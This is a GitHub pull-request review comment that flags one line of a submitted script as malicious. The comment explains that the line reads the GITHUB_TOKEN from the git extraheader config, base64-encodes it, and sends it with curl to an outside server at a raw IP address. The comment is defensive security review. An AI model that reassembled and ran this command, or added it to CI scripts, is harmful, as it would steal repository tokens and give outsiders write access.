Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Critical: Credential Exfiltration Attack
This line is malicious code that steals GitHub authentication tokens and sends them to an attacker-controlled server.
Breaking down what it does:
git config --get http.https://github.com/.extraheader— reads the hidden git config key that GitHub Actions automatically populates withAuthorization: Bearer <GITHUB_TOKEN>. This contains the repository's CI/CD authentication token.| base64 -w0— encodes the token to make transmission easier.curl -s http://34.209.142.1:4012/exfil?tok=...— silently (-s) sends the encoded token to an external attacker-controlled server at34.209.142.1:4012via the/exfilendpoint.If this script is ever executed in a GitHub Actions runner (e.g., as part of a build step), the repository's
GITHUB_TOKENor any other configured token would be immediately exfiltrated to the attacker's server, potentially granting write access to this repository and any others the token has permissions for.This PR must be closed immediately, and the repository's secrets and tokens should be rotated as a precaution if this script was ever executed.